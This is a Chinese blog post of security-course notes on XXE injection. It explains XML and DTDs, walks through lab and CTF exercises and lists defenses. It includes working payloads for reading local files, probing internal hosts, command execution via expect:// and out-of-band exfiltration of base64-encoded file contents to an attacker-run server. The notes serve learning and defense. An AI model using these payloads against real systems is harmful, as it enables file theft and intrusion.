web漏洞“小迪安全课堂笔记”XXE&XML

思维导图

在这里插入图片描述

XML XXE

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异

XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。

<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>

#DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

在这里插入图片描述
在这里插入图片描述

#玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
#玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>
#玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
#引入外部实体 dtd//一般用来绕过和自定义攻击
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>

evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">


------------------------------------------------------------------------------


#无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 
'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;


#协议-读文件(绕过)编码绕过
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

1.提交的数据包含 XML 格式如:
<forgot><username>admin</username></forgot>
2.请求头中如:
Content-Type:text/xml 或 Content-type:application/xml
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

在这里插入图片描述
登录抓包,爬虫
在这里插入图片描述
爬虫后点击历史,搜索关键字
在这里插入图片描述
在这里插入图片描述

找到xml
在这里插入图片描述
提交数据包
在这里插入图片描述
在这里插入图片描述

修改参数,提交利用在这里插入图片描述

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base3264解密->php运行->flag
<?xmlversion="1.0"?>
<!DOCTYPEr[
<!ELEMENTrANY>
<!ENTITYspSYSTEM"php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

在这里插入图片描述
nmap扫描整个网段
在这里插入图片描述
找到靶机
在这里插入图片描述
访问80端口
在这里插入图片描述
可以使用web扫描工具,扫描文件
在这里插入图片描述
探索到robots.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
尝试登录抓包
在这里插入图片描述
修改攻击代码,发包。PS:为什么用base64加密?使用加密可以直接写文件名,不用明确绝对路径。
在这里插入图片描述
将信息发送到解密器下
在这里插入图片描述
选中base64解密
在这里插入图片描述
同理

在这里插入图片描述
在这里插入图片描述

密码解密登录,点击flag
在这里插入图片描述
跳到这个地址,但是打不开在这里插入图片描述
再次读取这个文件 因为再根目录下,所以加./
在这里插入图片描述

解密
在这里插入图片描述

base32解密->base64-

解密
在这里插入图片描述

再次读文件
在这里插入图片描述
再次解密,$应该是php代码
在这里插入图片描述

代码运行结果,gameover
在这里插入图片描述

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
更改请求数据格式:application/xml
<?xmlversion="1.0"?>
<!DOCTYPEANY[
<!ENTITYfSYSTEM"file:///etc/passwd">]>
<x>&f;</x>

在这里插入图片描述
在这里插入图片描述
更改数据,必须修改为xml,否则下面代码不识别
在这里插入图片描述
在这里插入图片描述
发送,成功
在这里插入图片描述

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz
在这里插入图片描述

xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Geoserver是一个开源的地理信息系统(GIS)软件,它用于发布和共享地理数据和服务。然而,Geoserver在某些情况下可能存在一个称为XXE(XML外部实体)漏洞。 XXE漏洞是一种安全漏洞,攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时,对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞,它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求,来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用,有几个关键的步骤可以采取: 1. 更新Geoserver:确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修复已知的漏洞,并在新版本中发布修复程序。 2. 安全的配置文件处理:确保Geoserver的配置文件中没有不必要的文件,因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入:在输入和输出时,对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识:向Geoserver用户和管理员提供适当的培训,以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之,Geoserver XXE漏洞是一种可以利用的安全漏洞,但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识,可以有效地减少这种漏洞的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值